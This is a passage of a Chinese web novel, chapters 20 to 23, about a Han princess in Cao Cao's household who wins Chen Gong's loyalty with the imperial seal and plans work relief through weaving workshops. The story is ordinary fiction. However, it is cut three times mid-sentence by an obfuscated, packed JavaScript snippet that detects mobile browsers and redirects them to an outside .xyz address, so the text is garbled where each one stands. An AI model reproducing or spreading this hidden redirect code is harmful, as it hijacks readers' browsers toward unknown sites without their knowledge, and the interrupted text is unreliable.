她是公主,金枝玉叶不假,可若要大权在握,必然要借助其他力量。 陈宫可是东汉末年数得上号的谋士,又忠心于大汉,刘琼相信,只要操作得当,她必然可以收服对方为己用。 公主身份可以给她加成,但关键在于传国玉玺,有了这东西在,她就不信陈宫不上钩。 而曹操那边,也想到了这点,并请求刘琼用玉玺盖在帛书之上,形成印记,又在陈宫到东郡驿馆当晚,派心腹曹仁亲自携此玺印前往见之。 陈宫先前为县令,现在是州牧从事,官位纵然提升不少,但也不曾见过玉玺印记。 不过那上面的‘受命于天,既寿永昌’这八个大字,他却看的分明,又见是曹仁携此物亲自前来,顿时心下生疑,迫不及待想要追问。 但曹仁等他看过后,再次抢过那张帛书,当即便用烛火销毁,撂下一句明日自己主公请他们到郊野赴宴,以庆重阳佳节,届时会有贵人在场后,便直接离去了。 重阳节宴会,曹操的确给了他们请帖,但并未像这般亲自派人去见鲍信,但却派心腹深夜来见自己,又有传国玉玺的印记,且特地强调重阳节有贵人相迎……等等。 这一桩桩,一件件的线索串联在一起,陈宫真的很难不多想。 这一晚,他是辗转反侧,彻夜难眠,而曹府众人却早已准备妥当,第二日一行人便出了府邸。 曹操和曹昂皆是骑马,丁夫人和刘琼则是坐马车,又有曹仁带着亲卫护送左右,还有伺候的侍女下人等等,一众人浩浩荡荡往郊野方向而去。 而另一边,彻夜未眠的陈宫也打起精神,和鲍信一起去赴宴。 20.接见陈宫 鲍信和陈宫骑马走在官道上,身后跟着数量众多的亲卫侍从,一行人浩浩荡荡去郊野赴宴,出了城池后,便能看到道路两旁种植着谷子的田地。 他们出行的时辰较早,可在田地里忙着收割粟米的农夫们出来的更早,田间路旁那些已经捆扎好的一垛垛,又堆成小山般的粮食便是明证。 尽管收获很累,但农夫们脸上却满是笑意,偶尔还会唱些不成调子的民歌,与那延绵开去的金黄粟田交相呼应,到处弥漫着丰收的喜悦。 鲍信看到这一幕,驱马靠近陈宫,抬手指向那田垄之间。 “公台兄,如今乱世当头,烽烟遍地,兖州数郡都为黄巾军围攻,百姓流离失所,朝不保夕,却不想这东郡竟是如此祥和。” “可见曹太守治理有方,此行我等迎他入兖州为主,必能终结数郡之乱象啊。”鲍信不住的感叹着。 “但愿如此吧。”陈宫看着这一幕,心下的担忧反而更甚。 “不过为何田间只有农夫,而无农妇和孩童呢?”鲍信不知他心中所想,反而注意到一个细节。 他依稀记得,来东郡的路上,经过别处田地时,时常能看到有农妇领着小孩子,或是送饭送水,或是拾取掉落的谷穗粮食什么的。 可东郡却与众不同,偌大的田地里,只有男人在其中忙碌,饿了渴了,便自行去田间地头寻早上就带来的篮子。 掀开上面盖着的干净麻布,只见里面有水和干粮,这些农夫吃点喝点垫一垫肚子后,又再次回到田中忙碌。 鲍信很好奇,便勒住马,又招呼一个亲卫去询问,那人领命而去,寻到一个在低头吃东西的农夫,短暂交谈几句后,回来禀报。 原是女人们都去了工场纺织,不仅给工钱,家里孩子们也有人统一照看,傍晚下工的时候再接回家就是。 “早就听说曹太守凭借其夫人的嫁妆,得了一门极为赚钱的锦缎生意,不想他还竟然还肯贴补百姓,真是令人敬佩啊。”鲍信越想越觉得这一趟来对了。 “……”,陈宫听着他不住的赞美,心里却越发沉重。 东郡发展的越好,就说明曹操的实力越强,可是对方却又是个私德欠缺之人。 当初他们分道扬镳时,曹操说的那句‘宁可我负天下人,休教天下人负我’,现在想来,陈宫都觉得胆寒心冷。 可如今兖州的混乱形势又急需一个雄主进行整顿,还有昨晚曹仁带来的那张玺印图,以及今日会有贵人相迎的话语……等等。 这一切的一切都使得陈宫陷入进退两难的纠结境地,可是如今他人已经到了这儿了,似乎事情也避无可避。 “天色不早了,允诚兄,我们快去赴宴吧。”于是乎,他开始催促鲍信。 “也是啊,那我们快走吧。”想着一会儿就能见到曹操了,鲍信心里也挺高兴,随陈宫一起驱动马儿向前,身后的亲卫们也紧随其后。 等他们到达郊外一处山坡处,却见众多侍从早已布置好了宴会现场,主家和客人所用的案台,跪坐所需的席子,一应俱全。 周围有许多侍女捧着各色菊花装点宴席,以应重阳节气氛。 不仅侍奉众人佩戴红色茱萸,还为客人和主家奉上琥珀色的菊花酒和新出炉的香甜糕点,又有烤的滋滋冒油的羊肉,以及各种菜肴羹汤,宴席已然备的十分丰盛。 而曹操本人的态度也很热情,不仅亲迎两人,还对其嘘寒问暖,寒暄几句后,便请他们入席,又引荐妻子丁夫人与他们相见。 鲍信本就对曹操有好感,如今见他这般谦和守礼,妻子也颇有名门风范,更是不住夸赞,曹操则是谦虚表示对方谬赞。 他们聊的正欢,可陈宫却始终一言不发,也没有喝桌上的菊花酒,更未动筷吃菜,反而伸手从插在发髻帽檐的茱萸枝上摘下一颗颗小红果子揉搓着。 他看似寻到了乐趣,可眼神的余光却一直注意着宴会上的场景。 曹操和鲍信旁若无人的互相吹捧,丁夫人则是热情的让侍女招待自己。 但陈宫见多识广,自然看得出她有所保留,笑容之下带着审视,但碍于礼节,陈宫还是不得不应对方的招待,喝了几杯酒,以表示对主人家的敬意。 趁着饮酒的时候,他又偷偷观察了守在曹操身旁的曹仁,对方正死死的盯着他,好像生怕他跑了,还有昨晚对方深夜来访的行为…… 陈宫越想越觉得这场重阳节宴会,仿佛就是给自己精心设计的陷阱,这促使他迫切的想离开宴会冷静一下。 于是借口酒热,想要更衣,而试图离席,曹操一听就知道这是借口,但也没为难,而是示意曹仁亲自带他去。 陈宫见状,心中不由得咯噔一下,可面上却又不得不谢过,毕竟,这郊野之地,又是宴会现场,他想更衣的确得寻个隐蔽的地方。 可一切结束后,他想方设法拖延时间不想回宴席时,曹仁却并没阻止,陈宫还以为自己有机会跑掉,却不想还没走两步就看到了前方不远处的曹昂。 “大公子怎么在这里啊?”陈宫有些尴尬。 “自是在等您,陈伯父,昨日帛书想必您也看了,既如此,请随小侄一起去见家中妹妹吧。”说着,曹昂就抬手摆出了一个‘请’的姿势。 “不是说贵客要见我吗?如何又是你妹妹?”陈宫迷惑了。 “怪我没说清楚,是我母亲娘家的侄女,一个姓刘的妹妹。”他加重语气强调着。 ‘姓刘的妹妹,玉玺的印记’,当陈宫把这两样东西联系在一起的时候,不可抑制的就想起了几个月前从洛阳传遍大汉的一则消息。 说是孙坚孙文台在建章宫的枯井中得了万年公主和传国玉玺,当时的盟主袁绍和他兄弟袁术甚至当众索要。 未果后,袁绍又传信荆州刘表截杀孙坚,两方混战中,公主和玉玺都下落不明。 有人说还在孙坚那里,又有人说,只玉玺在孙坚手中,而公主则被刘表救出,还有人说,公主和玉玺都不见了,被野兽飞禽裹挟消失。 一时间,小道消息满天飞,让人分不清楚到底哪个是真,哪个是假。 可现在,陈宫觉得,这些说辞只怕未必是空穴来风,但毕竟他还没亲眼看见公主和玉玺,所以这心里还是犯嘀咕。 不过抵触情绪倒是少了许多,曹昂再次邀请他到山坡另一侧的草亭去时,他也没再找理由推脱了。 曹仁也跟了过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662587|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但并没有进去,而是守在草亭周围,曹昂把陈宫请进去,刘琼正在那里等候,慧儿跟在她身旁。 今日是重阳佳节,又是接见臣子的场合,刘琼特地穿了深衣,玄衣红裳,其上绣着茱萸纹样。 在他们大汉朝,锦绣华服本就是彰显身份的不二之选,更不要提玄红两色更是象征高贵的正色,无人胆敢随意僭越。 加之刘琼梳着未成年少女的双鬟髻,几乎是见到她的第一时间,陈宫就猜到这必然就是正主。 衣服颜色,年龄大小都对的上万年公主的身份,就算这些可以冒充,可刘琼那倾国之貌,以及出尘的气质却是旁人想仿都仿不来的。 而陈宫也不认为自己有资格被曹操用这么高端的陷阱来算计。 那么综上所述,眼前的少女必是万年公主无疑,不过陈宫此时更想问问玉玺的事。 刘琼一眼看出对方的想法,示意慧儿端着朱红小匣送到陈宫面前,曹昂又亲手取出玉玺示意他看。 虽然没能拿过来端详,但陈宫也是借着曹昂的手细细看了一遍,心中的疑惑终于落了地。 “兖州从事陈宫,参加万年公主殿下,愿殿下长乐未央,永受嘉福。”他赶紧整了整衣冠后,立刻对着刘琼行了大礼。 “君请起。”刘琼抬了抬手,“今日乃是重阳佳节,君民同乐,实在不必如此拘礼,入坐吧。” “谢殿下。”公主说不必拘礼,陈宫却不能当真,依旧按规矩回应后,这才诚惶诚恐的坐到了一旁。 与此同时,曹昂已经把玉玺放回了朱红小匣之中,慧儿将其上锁,再次送回刘琼手中,她将其放入怀中,贴身保存,方才安心。 而曹昂也入席坐到了刘琼的另一边,慧儿则是站在一旁听候吩咐。 “殿下,微臣……”,陈宫拱手行了一礼,想要说点什么。 “陈伯父,如今乃是非常时期,我们还是谨慎些吧。”曹昂却突然出声提醒。 “不错,眼下我和玉玺所在,还不宜暴露,就劳烦从事配合一下吧。”刘琼也点头附和道。 “那……臣该如何称呼?”陈宫有些迟疑道。 “我现在是他妹妹,他称呼从事伯父,那我也就这么喊吧,至于从事称呼我,唤一句‘女公子’就是了。”刘琼拿曹昂说的话举例。 “既如此,臣就恭敬不如从命了。”陈宫觉得这有些冒犯,可也知道情况特殊,最后还是答应下来。 “这就对了嘛,这般称呼之下,亭子里便都是一家人,不必拘礼,有什么话自说就是。”刘琼抬了抬手,十分大方道。 “女公子说的是。”陈宫面上答应着,可心里却提高了警惕,只因刘琼说那话时,看他的眼神分明是提醒自己要谨慎。 至于那句‘一家人’,谁信谁傻子,陈宫可是个聪明人,自然听出了刘琼的言外之意,必须谨言慎行,毕竟,现场还有曹操的长子在场。 不过几句寒暄之语加几个眼神,刘琼和陈宫就心照不宣的达成了某种默契。 在场三人中,也唯有曹昂心思单纯,只以为是面上的意思,还在为刘琼那句‘一家人’心里高兴。 但不管如何,这场会面总算开始了。 21.清醒的她 “这是去年采摘的新鲜菊花酿的酒,滋味甚是甜美,伯父尝尝。”曹昂说着话,倒了一杯酒递给陈宫。 亏得这个草亭面积不大,他们三个等于是围坐在桌前,不然他还不能伸手就把酒杯递过去呢。 “菊花酒,又是菊花酒,每逢重阳节,除了饮菊花酒就没别的了。”陈宫接过酒杯却并没有喝,反而觉得颇为无趣。 “伯父说笑了,这本就是千百年来的习俗,况且重阳节不饮菊花酒,又怎么算得上应景呢?”曹昂笑了笑道。 “是啊,千百年来的习俗,也是大家共同遵守的规矩,如此世间才有秩序。” “只可惜,现在世风日下,忠心为国之人少之又少,背信弃义的鼠辈却高坐朝堂。” “当然了,生逢乱世,自然也少不了那种,面上忠义,却私德不修的伪君子。” “就好比我们的曹太守,我只要一想到他,眼前就会浮现吕伯奢一家老小惨死的场景。” “大公子,你知道吗?你父亲是分了先后两次杀了吕家所有人的。” “第一次他说自己听到了磨刀声,怕对方要杀自己,所以先下手为强。” “可后来我们发现,吕伯奢的家人磨刀只是为了杀猪招待我们,你父亲很懊悔,说这属于误杀。” “而第二次,我们在路上遇到了打酒回来的吕伯奢,我本想着就算不承认罪行,撒谎后逃离也就是了,可你父亲却主动杀了对方。” “而理由竟然是如果放了吕伯奢,那他回家后看到亲人惨死,一定会报官追捕,为了免除后患,只好斩草除根。” “这般自私自利,冷血无情之人,不知大公子如何看待?” 陈宫摇晃着酒杯,毫不客气的嘲讽起曹操当年的所作所为,末了,还故意刁难曹昂,要他对此点评一下。 “这其中……会不会有什么误会?”曹昂抿了抿嘴唇,显得有些手足无措。 他根本不知道父亲竟然做过这种事,而且他也不敢相信这是事实,所以才会提出质疑。 “哼,误会?此事是我亲眼所见,亲耳所听,又怎么会有误会?” “这事儿就是真的,不知道大公子你如何看待啊。”陈宫见状,却冷笑一声道。 “这……”,听他说的这般斩钉截铁,曹昂的神情也越发为难。 “陈伯父,常言道,‘子不言父过’,你这般再三追问,岂不是要曹哥哥犯了规矩吗?依我看,还是算了吧。” 眼看两人之间的谈话就要僵住,刘琼赶紧打了个圆场。 “女公子,话不是这样说的,规矩体统固然重要,可若是连做人的底线都没了,又何谈什么父慈子孝?”陈宫却不依不饶。 “大公子,你若不信我,大可以去问问曹仁将军,他是你父亲的心腹,想必对此事也有所耳闻。” 说着,他还指了指草亭不远处站岗放哨的曹仁,示意曹昂可以去找对方求证。 “……失陪了。”最后,曹昂还是没能忍住,道了一声歉意后,起身去寻曹仁。 “慧儿,端几杯酒过去,如果表哥他们需要用一些酒菜的话,你就守在那儿吧。” 几乎是瞬间,刘琼就反应过来陈宫想干什么了,但她并没有阻止,甚至出言帮腔,示意慧儿去拖住曹昂和曹仁,尽可能给她和陈宫争取单独相处的时间。 “诺。”慧儿也是心领神会,取了酒菜过去侍奉,那么此时,草亭之中,便只剩他们两人。 “女公子,你果然比我想象中的聪明。”陈宫一眼就看出刘琼在配合自己,压低声音赞了一句。 “只是为了求生不得已而为之罢了。”刘琼却并没有如何高兴,只平淡的回了一句。 “女公子,时间紧迫,咱们就长话短说吧,曹孟德此人不可信,他……”,陈宫神情严肃,试图提醒,可话还未说完就被打断了。 “我知道。”刘琼如是说。 “什么?”陈宫一愣,“那你怎么还……”他不明白。 “我说了,是为了求生,不得已而为之。”刘琼再次重复了一遍。 “我回答了你的问题,那么,现在轮到你回答我了,陈伯父,你知道为何他会让我来见你吗?”她反问道。 “是为了说服我推举他为兖州牧吧。”陈宫略一思索就猜到了。 “不错,可据我所知,你此行就是来请他去做兖州牧的。”刘琼点了点头。 “可我心里并不情愿这么做,如今只不过是形势所迫。”陈宫眉头皱的很紧。 “所以他才叫我来见你。”刘琼接了下半句,“他想让你心甘情愿的推举他,臣服他。” “他非我主,我非他臣,何来臣服一说?” “曹孟德,不过一厚颜无耻之人,焉敢有此妄想?!”陈宫冷哼一声,十分不屑。 “那如果,我希望你臣服于他呢?”刘琼却平静的提出了一个假设。 “女公子,曹孟德此人私德不修,心狠手辣,你不可太过信任于他,否则将来必会受其威胁啊。” 陈宫还以为她被曹操洗脑了,这次来就是充当对方的说客的,那是苦口婆心的劝啊。 “但不可否认的是,他从孙坚手里救了我。” “更重要的,现在你需要他,兖州也需要他,我们都需要他。” “更确切的说,是需要他手下的军队来维持秩序,稳定局面。” 刘琼没有跟陈宫争论曹操是好人还是坏人,而是把如今的严峻形势直接摆在了面前,意在让其认识到,是他们迫切的需要曹操。 “可这无异于饮鸩止渴。”陈宫依旧无法认同。 “但你没见到我之前,不也是打算这么做吗?又或者,你已经安排了后手,打算在利用对方稳住局面后,再除掉他?”她歪了歪头,轻声猜测道。 刘琼说的轻描淡写,可陈宫却听的心惊肉跳,他的确有这个打算,但是从没跟任何人说起过,她是怎么知道的? “女公子,你……”,他很疑惑,也很好奇。 “你似乎很惊讶?”刘琼看了他一眼。 “……我只是没见过,像你这样的姑娘。”陈宫的眼神很复杂。 “我是说,你足够冷静,而且胆大心细,也很聪明。”他试图描补一下。 “如果我没有这些,早在宫里就死了不知道多少回了,所以你大可不必这样惊讶。”刘琼简单解释道。 “……”,对啊,陈宫这才后知后觉的意识到,眼前的小姑娘是一位真正的大汉公主。 她不止在宫廷里生存了下来,又在董卓那个乱臣贼子的眼皮底下逃了出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672836|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还趁乱带走了玉玺,又设计脱离了孙坚的控制。 虽然现在被曹操隐藏了身份,但她看起来似乎并没有受到什么控制,她是清醒的,也是自由的,而且成功保住了性命。 此番种种经历,的确不能用常人的眼光来看待她。 “女公子刚才说,希望我臣服于曹孟德,不,是曹操,我能问问原因吗?”陈宫转换了思路,不在想要说服她,反而探寻起缘由。 “很简单,两害相权取其轻。”刘琼如是说。 “你可以不臣服他,但是这也就意味着,兖州不会很快平静下来。” “一旦袁绍,袁术,亦或者董卓他们注意到了兖州内部的动乱,我想他们一定不会放过这个扩大自己地盘的大好机会。” “诚然曹操私德有亏,但他对大汉的忠心不假,至少现在是这样,可袁绍,袁术,董卓之流,我一个也信不过。”刘琼摇了摇头,一脸正色道。 “那么,女公子果然也对曹操有所保留吧。”陈宫听到这儿,轻声问了一句。 “你不也一样?”刘琼不答反问道。 “女公子为何要跟我说这些?”陈宫还有些东西需要确认。 “因为你比他更值得我信任。”刘琼看了他一眼。 “也就是说,我需要臣服的,其实是女公子,对吗?”虽然是疑问句,但却是肯定的语气。 “不,你臣服的不是我,而是大汉的江山社稷。”她摇了摇头后,正色道。 “女公子是在为陛下做打算吗?”陈宫看了她一眼。 “我弟弟还太小了,现在又落在董卓手里,我若不为他打算,你这样的忠臣也不为他打算,那么又有谁会为他打算呢?” 刘琼这话,很显然就是在暗示,他们是同一战线的人。 “那恕我冒昧问一句,女公子对大公子,有什么想法吗?”陈宫沉默了一会儿后,冷不丁的问道。 “两三年内我们都只会是哥哥妹妹,至于以后,那就要看你我的打算实行到哪一步了。”刘琼明白他在担心什么,所以给了一个定心丸。 “明白了。”陈宫听到这儿,不由得松了一口气。 看来公主还是比较清醒的,至少她给了一个承诺,哪怕这个承诺有时限,但至少短时间内不用担心曹家会用美男计策反公主了。 而他的这种担忧其实毫无必要,因为刘琼心里非常清楚自己最想要的是什么。 权力,只有无上的权力被牢牢握在手里才能令她安心,至于别的,财富,美人之类的东西,都只是权力的附庸。 过去的经历告诉她,只有把握住权力,才能永远拥有财富和美人,所有本末倒置的家伙,无一例外,都会失去自己最在乎的东西,而她则足够清醒。 但这一点就用不着告诉陈宫了,毕竟,对方愿意效忠自己的前提是为了大汉,而非因她是公主。 但不管怎么说,他们到底达成了一致,陈宫选择了她,而非曹操,当然,这肯定是私下里的,明面上,他还得装一装样子。 就在他们两个心照不宣的约定好后,曹昂也走了回来,只是神情有些忧虑,可见已经在曹仁那里得到了真相。 看到他如此的情绪化,刘琼和陈宫都不禁心中一动,或许将来他可以成为制约曹操的一把刀鞘。 22.以工代赈 按照约定,陈宫不情不愿和曹操化干戈为玉帛,并明确表示这都是看在公主的份上,是为国为民,至于其他的,譬如私下交情什么的,让曹操提也不要提。 他的态度并不好,但曹操反而心安了不少,对嘛,这个样子才是自己认识的陈公台,他要真是百依百顺了,曹操反而会担忧的睡不着觉的。 虽说是做做样子,但陈宫想着,做戏做全套,而且如今形势也正如公主所言,急需曹操和军队稳住局面。 所以,对于将其迎入兖州为主之事,陈宫也是颇为上心,忙前忙后,为曹操引荐兖州的重要官员和士族门生。 曹操也是投桃报李,十分礼遇这些人。 不礼遇不行啊,到底他是半路来的主公,不跟原来的领导班子成员打好关系,只怕接下来调用粮草,出谋划策等一系列的事情,都要小心对方使绊子了。 再有就是,曹操现在手下的谋士和武将都奇缺,他也急需人才辅佐,礼遇士族门生,或可收拢几个才德兼备之臣。 在此期间,鲍信因为推崇曹操,很是为他说了不少好话,兖州士族对曹操这个新的主公的观感还不错,暂时没有出现什么不满。 而陈宫也履行了诺言,在迎曹操为兖州之主后,竭力辅佐对方,令其能有充分的准备来迎击流窜在兖州数郡作乱的黄巾军。 就这样,众人紧锣密鼓的安排着出战的一切事宜,到处弥漫着战争即将到来的紧张气氛,但此时位于东郡的曹府,依旧是一派平和。 眼下兖州形势不稳,曹操并未带家眷一起到濮阳这个中心城市,而是仍留众人于东郡府邸,曹仁亲自领兵驻守防护,曹昂自然也守在这里。 除去曹家的亲眷在此外,更重要的是刘琼和玉玺也在,曹操千叮咛万嘱咐,要他们两个务必保证安全,曹仁和曹昂自是领命。 曹昂虽然在家里,但也很关心父亲曹操的安危,时不时就派人去询问,担忧之情溢于言表。 彼时已近十月,天气转寒,刘琼也不再去凉亭接待于他,而是常常在厅堂设宴,今日亦是如此。 “怎么?担心姑父啊。”刘琼见他长吁短叹,不免出言询问。 “冬日在即,本是休养生息的时候,可如今父亲却碍于形势,不得不兴兵作战,平定叛乱,我自是担心的。”曹昂说到这儿,不由得叹了一口气。 “说是叛乱,其实依我看,也不过是连口饱饭都吃不上的穷苦百姓为了生存下去,做的最后一博罢了。” “兴,百姓苦,亡,百姓苦啊。” 比起曹操,刘琼显然更心疼那些流离失所的民众。 “嗯。” “嗯?” 曹昂下意识的点头想附和,可下一秒就皱起了眉头。 “亡,百姓苦,我知道,可兴,百姓为何还是苦呢?”他不明白。 “国破家亡,秩序混乱,百姓自然生活困苦。” “而国家兴盛,百姓也只是最低一级的存在,春种秋收,辛劳一年也不过勉强够一家温饱。” “他们这样的人想要读书识字,位列朝堂,那简直比登天还难。” “列位公卿,世家豪门也不会允许所谓的泥腿子占据属于他们的权势。” “如此一来,层层压迫,百姓又怎么能不苦?” 若是换成别人,这些话刘琼断断不会说,但曹昂不一样。 她觉得,他是可以被她影响的,最好能够让他认同自己的理念,从心底拥护于她,而不是单纯的出于爱慕亦或身份。 说穿了,刘琼希望将来曹昂能与自己志同道合,那样以后的很多事,做起来就会轻松许多。 “可是……一直都是这样啊。”曹昂有些迟疑道。 他不知道她的想法,但仍旧对她的话感到震撼,他心里觉得有点道理,可这又和他一直接受的观念有所不同,也难怪他纠结非常了。 “没错,一直都是这样,庶民,寒门,士族,公卿,皇室,一层压一层,如此,我们的国家才得以成型。” “士族公卿总以为他们生来高贵,于是便理所当然的剥削奴役百姓,不把百姓当人看。” “长久以来的优越感让他们忘了一个事实,几百年前,他们也不过是百姓中的一员,挣扎求生而已。” “所以说,普通百姓才是国家的根本,如果连他们最起码的温饱都无法满足,那么国破家亡也就不远了,一如当年的暴秦。” 刘琼甚至拿秦朝举例,话里话外,则是在点最近兖州的叛乱。 “如果兖州这些造反的黄巾军,也是大部分底层庶民不得已的求生之举,我倒觉得应该劝劝父亲,等打完仗后,接纳其中愿意做回顺民的百姓。” “只是眼下马上就快到冬天了,如果大规模接纳他们的话,只怕兖州物资方面的压力会非常大。” 曹昂果然顺着她的思路想到了最近兖州的问题,并试图为老百姓做点什么,还考虑到了最有可能出现的问题。 “关于这个,我倒有个主意。”刘琼听到这儿,立刻出言道,“以工代赈怎么样?” “何为以工代赈?”曹昂不懂就问。 “‘晏子春秋’中有载,齐国有一年发生了大规模饥荒,齐王想要开仓放粮,以赈济灾民。” “但当时的宰相晏婴却提出,无偿施舍不仅不能长久,也容易让灾民们养成占国家便宜的恶习,且他们吃饱喝足却无事可做,极大可能会寻衅滋事,加重社会混乱。” “如此一来,倒不如下令征召灾民去修建道路和宫殿,不给他们钱财,但发粮食果腹,这样不仅灾民能活下来,国家也不吃亏,可谓是两全其美。” “这就叫做以工代赈了。”刘琼举例说明。 “这法子好是好,但现在兖州的情况根本比不了当时的齐国吧。”曹昂提出了质疑。 其实他的意思也很明确,这是巧妇难为无米之炊啊,主意不错,但没那么多粮食不还是白搭吗? “兖州当然没有那么多粮食,但不代表士族们没有,如果能说服他们出一笔钱粮,我想事情就可以进行下去了。” 刘琼的想法是让曹操去敲那些权贵的竹杠,不管得来多少,他们都是赚的。 “就算有了粮食,可马上就到冬日,等打完了仗,最少也到十一月了,届时天寒地冻,也实在不好役使男人们去修路什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681957|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么的吧。”曹昂还是觉得不太可能做到这点。 纵然这里面有他可怜灾民的原因,但更多的是自然条件太恶劣,想要在这个时候动工怕是难度要大上数倍,且灾民一般都瘦弱,不止效率,只怕修建出来的效果也不如以往。 更何况,按照汉代的规矩,大规模征发徭役基本上是在秋收后到初冬时期。 他们如果真敢在深冬这么干,不是恐怕,而是一定会引来口诛笔伐。 灾民们也不会情愿的,别最后一场安抚活动却变成暴动,那就得不偿失了。 “我当然知道这点,不过我可没说以工代赈的工,一定是男人啊。”他忧心忡忡,刘琼却笑出了声,还有些俏皮的眨了眨眼。 “你的意思是?”曹昂一愣。 “冬日里男人们不能外出做工,那女人们总能纺纱织布吧,这些黄巾军大多都是流民,必然拖家带口。” “只要我们贴出告示,凡是家里女眷愿意做纺织工的,就可以领粮食,那你说,这些人会如何?”刘琼挑了挑眉。 “那自然是想尽一切办法送家中女眷参加,这样一家老小就有活路了。”曹昂一点就透。 “还不止呢,如果我们招募的是男人,那么粮食是绝不会落到老弱病残和女眷孩子手里的。” “可如若招募的是女人,那么无论如何,她们家里的男人们,也会给她们留一口饭,不然就没有办法从纺织工场领取粮食。” “这样等明年春天来临时,男女比例就不会太过失衡,一旦农耕开始,有了收获,那么一户户小家庭就会出现。” “只有人口繁盛了,才能创造财富和其他,兖州也会更快的恢复。” 还有一个更重要的原因,刘琼没有说。 那就是经过这段时间招募女工的事情,她发现自己在逐渐改变在工场做事的女人们的想法,还一定程度上提升了她们的家庭地位。 其实这也正常,在农耕社会之下,谁掌握经济大权自然家里就是谁做主,以前男人们占主导,那是因为他们是田地的主要劳动力,家里的顶梁柱。 可现在不同了,女人们通过做纺织女工可以创造不亚于丈夫的收入,那么话语权自然也就比以前要重,男人们也会更愿意听听妻子女儿的意见。 而现在刘琼就在通过管理工场这件事,有意无意的影响女工们,而她们又会间接影响到各自家庭里的男人们,刘琼的目标不只是农夫的效忠,更重要的是军队,是服兵役的那群人。 她的目的也很明确,就是打算用这样的方式,慢慢的获取军队的支持。 也只有拿到了军权,获得了士兵们的爱戴,她才能彻彻底底的从一棵依附他人而活的菟丝子,变成昂扬向上的参天树。 当然了,这肯定是个艰难且漫长的过程,不过还好每天都有进步,看自己的系统不断提示增长的声望值,她就知道这条路是可行的。 但这些就用不着告诉曹昂了,以至于只看到表面情况的他,不止觉得她的主意很好,还打算帮她去说服自己的父母,好好做这件事。 就当一切顺利的时候,突然有人急报,说是长安传来消息,董卓死了! 23.谈论婚事 奸臣董卓祸乱朝纲,废立皇帝,人人得而诛之。 如今他死于自己的义子吕布之手,等于两头豺狼互相残杀,消息传遍天下,百姓无不拍手称快,大声叫好。 曹昂也觉得这是个好消息,迫不及待的就回到书房要给在前线督战的父亲曹操写信,告知这一喜讯。 他正写的兴起,却没注意到丁夫人带着侍女来了。 见他十分专注,丁夫人挥了挥手,示意侍女们都下去,而她自己进了书房,又看一旁的窗户半敞着,冷风直吹屋里,忙上前去关上。 许是动作大了点,发出了‘吱呀’声响,这也引起了曹昂的注意。 “母亲什么时候来的?怎么也不叫孩儿一声?”他赶紧放下笔,走上去扶她。 “看你下笔入神的很,就没舍得打扰。”丁夫人任由儿子搀扶着走到书桌前坐下,“这是写什么呢?”她顺手把帛书拿过来看。 “是写一则喜讯,母亲,您知道吗?那奸贼董卓死了,还是死于他义子之手,真是大快人心啊。” “孩儿还听说长安已经光复,现如今由司徒王允主持政务,素闻王司徒最是忠心于朝廷,想必很快就能肃清董卓党羽,重振大汉威仪。” “这简直是天大的好消息啊。”曹昂兴致勃勃的跟她说起此事,眉眼间都是喜色,可见是真的为此感到高兴,觉得国家复兴有望。 丁夫人当然知道这件事,整个曹府所有的消息必然要先通过她才能传递开来,不过她却故意装作事先不知道,而现在才知道的样子。 “是吗?听起来的确是个好消息,如果长安已经光复了的话,那你妹妹,或早或晚也该回家去了。”丁夫人故意加重语气强调后半句。 “什么?”曹昂一愣。 “你不是说长安已经光复了吗?那想来陛下也一定大安了。” “你妹妹如今虽无父无母,但到底还有陛下这个亲弟弟在,现在家里安生了,自然要回去。” “万没有说,一直待在咱们家的道理。”丁夫人一边说着话,一边注意儿子的神色。 “可长安毕竟才安定下来,具体情况如何,还未可知啊。” “至于陛下,他比妹妹还小好几岁呢,连自己都照顾不好,又如何保得妹妹周全?”曹昂想也没想就开始反驳,可见心里是真急了。 “你也太小看人了,就算陛下年岁小,照看不得你妹妹,可长安不是还有什么王司徒,李司徒的大汉忠臣在吗?” “早些时候董卓奸贼祸乱朝纲,他们敢怒不敢言,眼下董卓已死,他们若得知了你妹妹的所在,又岂能不接回去?” “况且你妹妹再过两三年就要及笄,也是时候说亲事了,老是住在外人家里又像什么样子?” “届时便是长安无人来接,我和你父亲也总得想法子把她送回去的。”丁夫人的话音未落,他便脱口而出就是一句。 “不行。” “为什么不行?”眼看儿子上钩了,丁夫人强忍心中兴奋,一本正经的询问道。 “你妹妹到底也不是咱们家的人啊。”她明面上阻止,实则在暗戳戳提示。 “就算……就是她不是咱们家的人,可现在回长安也实在危险啊。” “即便不提长安的局势,便只说从东郡到长安这山高路远的,还要经过许多诸侯的辖区,万一他们心怀不轨如何是好?” 